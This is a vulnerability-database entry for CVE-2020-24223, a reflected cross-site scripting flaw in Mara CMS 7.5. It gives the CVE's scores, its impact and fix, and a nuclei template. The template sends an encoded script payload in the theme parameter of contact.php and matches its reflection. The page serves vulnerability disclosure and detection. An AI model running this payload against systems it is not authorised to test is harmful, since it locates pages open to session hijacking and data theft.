HexBrain

Browse / CVEs / CVE-2020-24223

CVE-2020-24223· mara cms project / mara cms· CWE-79

Mara CMS 7.5 - Cross-Site Scripting

mediumseverity
6.1CVSS score
14.6%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Mara CMS 7.5 allows reflected cross-site scripting in contact.php via the theme or pagetheme parameters.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version of Mara CMS or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "\"><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-24223 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-24223

info:
  name: Mara CMS  7.5 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Mara CMS 7.5 allows reflected cross-site scripting in contact.php via the theme or pagetheme parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Mara CMS or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48777
    - https://sourceforge.net/projects/maracms/
    - https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24223
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24223
    cwe-id: CWE-79
    epss-score: 0.14552
    epss-percentile: 0.96671
    cpe: cpe:2.3:a:mara_cms_project:mara_cms:7.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mara_cms_project
    product: mara_cms
  tags: cve2020,cve,mara,xss,edb,mara_cms_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from